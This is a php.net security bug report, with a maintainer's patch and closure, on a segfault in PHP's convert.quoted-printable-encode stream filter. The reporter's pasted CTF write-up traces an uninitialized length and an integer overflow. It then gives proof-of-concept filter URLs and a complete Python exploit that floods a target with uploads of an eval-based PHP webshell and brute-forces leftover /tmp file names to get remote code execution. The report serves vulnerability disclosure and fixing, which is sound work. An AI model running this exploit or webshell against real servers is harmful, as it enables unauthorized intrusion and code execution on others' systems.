php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77231 Segfault when using convert.quoted-printable-encode filter
Submitted: 2018-12-03 10:00 UTC Modified: 2018-12-03 23:52 UTC
From: wupco1996 at gmail dot com Assigned: stas (profile)
Status: Closed Package: Filesystem function related
PHP Version: 7.0.33 OS: linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: wupco1996 at gmail dot com
New email:
PHP Version: OS:

 

 [2018-12-03 10:00 UTC] wupco1996 at gmail dot com
Description:
------------
Here is my analysis report.

https://hackmd.io/s/rJlfZva0m

Test script:
---------------
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>

Expected result:
----------------
\xbfAAAAAAAAFAAAAAAAAAAAAAA\xff\xff\xff\xff\xff\xff\xff\xffAAAAAAAAAAAAAAAAAAAAAAAA



Actual result:
--------------
segment fault

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-12-03 10:04 UTC] wupco1996 at gmail dot com
## One Line PHP Challenge without session.upload

### Contact Me
wupco1996@gmail.com

### Tribute to HITCON2018

This is an extension of [One Line PHP Challenge](https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge) (Designed by ????).

### A new way to exploit PHP7.2 from LFI to RCE

During the `HITCON2018` , I tried the filter:`convert.quoted-printable-encode` , but when I passed the characters of the oversized ascii code in the data section 
```
php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf
```
I found the server's responded code is `500` , I tested it locally and found that the error was:

![](https://i.imgur.com/zkrybuy.png)

Then I came up with the question: With such a simple filter function, with so few total data characters, why would it allocate so much memory until the limit is exceeded?

After the game, I debugged `PHP7.2` locally and found that the final reason was to fall into the loop of `strfilter_convert_append_bucket()`, in this loop, memory allocation operations are performed, and the amount of memory allocated each time is doubled.

[source code](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1492)

```cpp
// err will be "PHP_CONV_ERR_TOO_BIG" every time.
err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt);

...

case PHP_CONV_ERR_TOO_BIG: {
	char *new_out_buf;
	size_t new_out_buf_size;
    
    
        
	new_out_buf_size = out_buf_size << 1;
    
/*
    new_out_buf_size = out_buf_size << 1
    If out_buf_size is a small number, new_out_buf_size will bigger than out_buf_size for a long time loop.
         
*/
	if (new_out_buf_size < out_buf_size) {
	
	    if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
//only here we can jump out the function.
            goto out_failure; 
	    }

            php_stream_bucket_append(buckets_out, new_bucket);

            out_buf_size = ocnt = initial_out_buf_size;
            out_buf = pemalloc(out_buf_size, persistent);
            pd = out_buf;
	} else {
/*
 The code here is constantly trying alloc memory,
 because it is stuck in a loop, 
 and the allocation size is multiplied each time,
 so it quickly exceeds the limit.
*/
	    new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
	    pd = new_out_buf + (pd - out_buf);
	    ocnt += (new_out_buf_size - out_buf_size);
	    out_buf = new_out_buf;
	    out_buf_size = new_out_buf_size;
	    }
        } break;
```

According to the normal logic of PHP developers, if `err` is equal to `PHP_CONV_ERR_TOO_BIG`, it means that `out_buf_size` is a large number. By shifting left, it can lose the highest bit and become a small number, so it can enter the branch  of `goto` then jump out this loop, but the problem here is that `err` is `PHP_CONV_ERR_TOO_BIG`, but `out_buf_size` is a small number.

Why? Let's trace back and find the reason.

#### Bug 1: uninitialized variable 

First, we should analyze the function  `php_conv_convert()`

It is defined in the first lines.
```cpp
#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))
```
![](https://i.imgur.com/hBOQSoH.jpg)

`inst->cd->convert_op()` is called here, it is `php_conv_qprint_encode_convert()`

```cpp
static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p)
{
	php_conv_err_t err = PHP_CONV_ERR_SUCCESS;
	unsigned char *ps, *pd;
	size_t icnt, ocnt;
	unsigned int c;
	unsigned int line_ccnt;
	unsigned int lb_ptr;
	unsigned int lb_cnt;
	unsigned int trail_ws;
	int opts;
	static char qp_digits[] = "0123456789ABCDEF";

	line_ccnt = inst->line_ccnt;
	opts = inst->opts;
	lb_ptr = inst->lb_ptr;
	lb_cnt = inst->lb_cnt;

	if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) {
		return PHP_CONV_ERR_SUCCESS;
	}

	ps = (unsigned char *)(*in_pp);
	icnt = *in_left_p;
	pd = (unsigned char *)(*out_pp);
	ocnt = *out_left_p;
	trail_ws = 0;

	for (;;) {
		if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {
        
...
```
The arguments passed in it are:

![](https://i.imgur.com/Mxuclm1.png)

![](https://i.imgur.com/Wzem2PE.png)

As expected, the codeable characters supported by `qprint` should be passed to [this branch](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L896).

But because the characters I entered contains the character which ascii code greater than `126`, it leads to  the [else branch](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919).

We can see `Inst->lbchars_len` is a very large number, so it enters the `if (ocnt < inst->lbchars_len + 1)` branch,  causing `TOO BIG error` to be returned all the time.

```cpp
} else {
	if (line_ccnt < 4) {
		if (ocnt < inst->lbchars_len + 1) {

//  The reason of the BUG

			err = PHP_CONV_ERR_TOO_BIG;
			break;
		}
		*(pd++) = '=';
		ocnt--;
		line_ccnt--;

		memcpy(pd, inst->lbchars, inst->lbchars_len);
		pd += inst->lbchars_len;
		ocnt -= inst->lbchars_len;
		line_ccnt = inst->line_len;
	}
	if (ocnt < 3) {
		err = PHP_CONV_ERR_TOO_BIG;
		break;
	}
	*(pd++) = '=';
	*(pd++) = qp_digits[(c >> 4)];
	*(pd++) = qp_digits[(c & 0x0f)];
	ocnt -= 3;
	line_ccnt -= 3;
	if (trail_ws > 0) {
		trail_ws--;
	}
	CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
```
Why is `lbchars_len` so big?

I found that the location where it is assigned the initial value is
```cpp
static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
	if (line_len < 4 && lbchars != NULL) {
		return PHP_CONV_ERR_TOO_BIG;
	}
	inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
	inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
	inst->line_ccnt = line_len;
	inst->line_len = line_len;
	if (lbchars != NULL) {
		inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
        
// lbchars_len is assigned the initial value
		inst->lbchars_len = lbchars_len;
	} else {
		inst->lbchars = NULL;
	}
	inst->lbchars_dup = lbchars_dup;
	inst->persistent = persistent;
	inst->opts = opts;
	inst->lb_cnt = inst->lb_ptr = 0;
	return PHP_CONV_ERR_SUCCESS;
}
```
`inst` 's initialized position is [here](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1337) .

```cpp
case PHP_CONV_QPRINT_ENCODE: {
	unsigned int line_len = 0;
	char *lbchars = NULL;
	size_t lbchars_len;
	int opts = 0;

	if (options != NULL) {
            ...
	}
	retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
        if (lbchars != NULL) {
		...
        
	} else {
            if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
			goto out_failure;
			}
		}
	} break;
```

Because we use `php://` without attaching options to `convert.quoted-printable-encode`, the `options` here is NULL.

Until the else branch, we can see that the parameters passed by it is 
```cpp
(php_conv_qprint_encode *) retval, 0, NULL , 0, 0, opts, persistent)
```
At this point, `lbchars` is NULL, causing `lbchars_len` not to be initialized.

It is why `lbchars_len` is a big number, it is an uninitialized variable. 

#### Bug 2: Memory Control && Integer Overflow

Because `inst->lbchars_len` is an uninitialized value, it is the value taken from the corresponding position in memory. `PHP` involves a lot of memory operations. Is it possible for us to control the whole value?

By definition, we know that `lbchars_len` is `8 bytes` . By adjusting the length of the attached data, I find that some 8 bytes value of the request header are stored in `inst->lbchars_len`.

For example:

![](https://i.imgur.com/eAz3Fn5.png)

It was decoded by me from number,you can know it is `Content-`,and guess it is a part of `Content-Type`.

Continue to adjust, I leaked the `param`  of the url.

![](https://i.imgur.com/Tbf7cR0.png)

![](https://i.imgur.com/u4zS4Eq.png)

![](https://i.imgur.com/GyOnSSJ.png)

So we can control the value of `inst->lbchars_len`, but since the resource content of `php://` can't contain `\x00`, we can only construct the content among `\x01-\xff`.

When we see back
```cpp
} else {
	if (line_ccnt < 4) {
		if (ocnt < inst->lbchars_len + 1) {

//  The reason of the BUG

			err = PHP_CONV_ERR_TOO_BIG;
			break;
		}
		*(pd++) = '=';
		ocnt--;
		line_ccnt--;

		memcpy(pd, inst->lbchars, inst->lbchars_len);
		pd += inst->lbchars_len;
		ocnt -= inst->lbchars_len;
		line_ccnt = inst->line_len;
	}
	if (ocnt < 3) {
		err = PHP_CONV_ERR_TOO_BIG;
		break;
	}
	*(pd++) = '=';
	*(pd++) = qp_digits[(c >> 4)];
	*(pd++) = qp_digits[(c & 0x0f)];
	ocnt -= 3;
	line_ccnt -= 3;
	if (trail_ws > 0) {
		trail_ws--;
	}
	CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
```
We can see the second parameter of `memcpy()` is passed `NULL`, but the first one , the third parameter is controllable, if it is called, it will lead to a `segmentfault`.

Though we can control `inst->lbchars_len`, we can't use `\x00` in http request , how to make `ocnt < inst->lbchars_len + 1` false? ( `ocnt` is the total length of data we passed to the filter)

Here we have to construct a  clever integer overflow, we control `inst->lbchars_len` as  `\xff\xff\xff\xff\xff\xff\xff\xff` , and `inst->lbchars_len + 1` will be zero , so `ocnt < inst->lbchars_len + 1` is false now , and unexpected `memcpy()` will called , then it will cause a `segmentfault`.

#### ~~Bug3~~ Feature : Temporary files cannot be recycled when php exits abnormally.

If we POST files to an `apache-php` server, it will generate a temporary file ( default in `/tmp/`) , it will be recycled when the request is processed. But if PHP progress exits abnormally, the file cannot be recycled in time.

So we can use the temporary files to getshell. It is crazy but it is possible.

We can post 20 files one in one request by default, and when we posted about about `400,000` files , if we are not  particularly bad luckļ¼Œthere will be files start with `php00[0-9][0-9a-zA-Z]{2}`, however it almost always appears files start with `php00[0-2][0-9a-zA-Z]{2}`.

So it is a way to get shell. The premise is that your luck is not particularly bad :p

I have tried it dozens of times and can getshell in a limited time (about 15min to 2hour).

#### poc

The following will assign `inst->lbchars_len` to the value of `12345678(string)`

```
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA
```

If we want to get a `segmentfault`, we should change them to `\xff`.
```
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
```

#### exp

```python
import requests
import threading
import os
import time
import string
import Queue
from itertools import product
from requests import ConnectionError



lock = threading.Lock()
filecount = 0
end_flag=0

target = "http://39.96.12.243:20001/?orange="
payload = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"

files = {'file'+str(i):('webshell','@<?php header("HTTP/1.1 233 wupcotest");@eval($_GET[1]);?>'+str(i),'text/php') for i in range(20)}


header = {
	'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Connection': 'close',
}
cookie = {
	"PHPSESSID":"d24jtsortojg3je8rcddb01k28",
}

def gentmpfile():

	while 1:
	
		try:
			requests.post(url=target+payload,files=files,headers=header,timeout=2)
			print 'ok'
		except ConnectionError,e:
			if e.message[0] == 'Connection aborted.':
				lock.acquire()
				global filecount
				if filecount >= 400000:
					lock.release()
					return 0
				filecount = filecount + 20
				print "[*]count: "+str(filecount)
				lock.release()
				continue
				
			else:
				continue
		except:
			continue


file_q = Queue.Queue()

def genfilename(prefix,charset):
	global file_q
	for i,j,k in product(charset,charset,charset):
		file_q.put(prefix+i+j+k)

def getshell():
	global file_q
	global end_flag
	while 1:
		if end_flag == 1:
			return 0
		try:
			filename = file_q.get()
			req = requests.head(target+'/tmp/php'+filename,timeout=2)
			if req.status_code == 233:
				print '[*] Found shell: /tmp/php' +filename
				lock.acquire()
				end_flag = 1
				lock.release()
				return 0
			else:
				continue
		except:
			file_q.put(filename)
			continue


tlist = []
glist = []
charset = string.digits + string.letters
revcharset = charset[::-1]
charset2 = string.letters + string.digits 

print '[*] generate temp file'

for i in xrange(0,2):
	glist.append(threading.Thread(target=genfilename,args=('00'+str(i),charset,)))
	glist.append(threading.Thread(target=genfilename,args=('00'+str(i),revcharset,)))
	glist.append(threading.Thread(target=genfilename,args=('00'+str(i),charset2,)))

for g in glist:
	g.start()

for i in xrange(0,10):
	tlist.append(threading.Thread(target=gentmpfile,args=()))

for t in tlist:
	t.start()
	
for t in tlist:
	t.join()

tlist2 = []

print '[*] brute force webshell'

for i in xrange(0,10):
	tlist2.append(threading.Thread(target=getshell,args=()))

for t in tlist2:
	t.start()

```

#### Vulnerable Version

All `>7.0` version is vulnerable
```php
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>
```

PHP7.3

![](https://i.imgur.com/ezqwtN1.png)

PHP7.2

![](https://i.imgur.com/uhCIY6P.png)

PHP7.1

![](https://i.imgur.com/Cavt2Vi.png)

PHP7.0

![](https://i.imgur.com/DMCuah7.png)
 [2018-12-03 10:14 UTC] stas@php.net
The problem seems to happen because of this:

			if (line_ccnt < 4) {
				if (ocnt < inst->lbchars_len + 1) {
					err = PHP_CONV_ERR_TOO_BIG;
					break;
				}
				*(pd++) = '=';
				ocnt--;
				line_ccnt--;

				memcpy(pd, inst->lbchars, inst->lbchars_len);

check for inst->lbchars being null is missing, thus causing memcpy to access null pointer. This should fix it:

diff --git a/ext/standard/filters.c b/ext/standard/filters.c
index dc7b0d86dc..9718a45be2 100644
--- a/ext/standard/filters.c
+++ b/ext/standard/filters.c
@@ -928,7 +928,7 @@ static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *ins
                        line_ccnt--;
                        CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
                } else {
-                       if (line_ccnt < 4) {
+                       if (line_ccnt < 4 && inst->lbchars != NULL) {
                                if (ocnt < inst->lbchars_len + 1) {
                                        err = PHP_CONV_ERR_TOO_BIG;
                                        break;

Could you please verify it?
 [2018-12-03 10:16 UTC] stas@php.net
I am still not sure how this could cause RCE... segfault on null pointer access, for sure, but the rest I am not sure I can understand, expecially what the python script is supposed to be calling and how temp files are related to anything.
 [2018-12-03 10:24 UTC] wupco1996 at gmail dot com
hello

In the CTF game `hitcon2018`, the challenge source code is
```
<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
```

file() cause segmentfault and leave temp files in `/tmp/`,so i can get shell through `include` here. 

The last comment is copied from the writeup of mine, so the subtitle is a bit strange. But the problem I want to submit is that  filter `qprint` can cause memory leaks and a segmentfault. PLZ read my analysis report https://hackmd.io/s/rJlfZva0m ,THX
 [2018-12-03 10:33 UTC] wupco1996 at gmail dot com
The origin of the problem is here
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L971
, because lbchars were initially NULL, lbchars_len was not assigned.
 [2018-12-03 10:52 UTC] wupco1996 at gmail dot com
The patch 
```
-                       if (line_ccnt < 4) {
+                       if (line_ccnt < 4 && inst->lbchars != NULL) {
```
is all right i think.
 [2018-12-03 18:15 UTC] stas@php.net
-Summary: A filter may cause vulnerability in PHP larger than 7.0 +Summary: Segfault when using convert.quoted-printable-encode filter -PHP Version: 7.2.13RC1 +PHP Version: 7.0.33
 [2018-12-03 18:15 UTC] stas@php.net
The buggy code is actually in 5.6 too, though I couldn't trigger the segfault...
 [2018-12-03 23:52 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2018-12-03 23:52 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Apr 19 13:01:30 2024 UTC